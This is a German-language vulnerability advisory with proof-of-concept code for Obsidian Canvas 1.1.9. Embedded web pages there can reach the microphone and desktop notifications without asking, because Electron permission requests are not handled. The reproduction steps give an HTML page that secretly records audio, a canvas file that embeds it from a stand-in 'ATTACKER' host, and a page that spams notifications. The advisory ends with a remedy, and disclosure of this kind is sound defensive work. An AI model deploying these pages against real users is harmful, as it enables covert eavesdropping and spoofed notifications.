
Proof-of-concept-Exploit, der unbefugte Mikrofonaufnahmen und Missbrauch von Desktop-Benachrichtigungen über eingebettete Webseiten in Obsidian Canvas demonstriert, wobei die fehlende Behandlung von Electron-Berechtigungsanfragen hervorgehoben wird.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Schwachstellentyp:
Falsche Zugriffskontrolle
Beschreibung:
Ein in Obsidian Canvas 1.1.9 entdecktes Problem ermöglicht es entfernten Angreifern, Desktop-Benachrichtigungen zu senden, Benutzeraudio aufzuzeichnen und andere nicht näher bezeichnete Auswirkungen über eine eingebettete Website auf der Canvas-Seite zu erzielen.
Auswirkung:
Die bösartigen eingebetteten Websites können ohne Erlaubnis und Wissen des Benutzers auf sensible WEB-APIs in der Obsidian-Anwendung zugreifen. Beispielsweise können sie stillschweigend das Mikrofon des Benutzers aufzeichnen oder im Namen der Obsidian-Anwendung Desktop-Benachrichtigungen senden, ohne Wissen oder ausdrückliche Genehmigung des Benutzers.
Die Ursache dieses Problems ist das Fehlen des Sitzungsberechtigungsanfrage-Handlers (Session Permission Request handler) in der Anwendung.
Betroffenes Produkt:
Betroffene Versionen:
Schritte zur Reproduktion:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
"edges":[]
}
Benachrichtigungen PoC:
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
Abhilfe:
Implementieren Sie den Electron Session Permission Request Handler, um Berechtigungsanfragen von den eingebetteten Seiten zu behandeln. Der Zugriff auf Web-APIs muss vom Benutzer ausdrücklich gewährt oder standardmäßig verweigert werden.
Referenzen: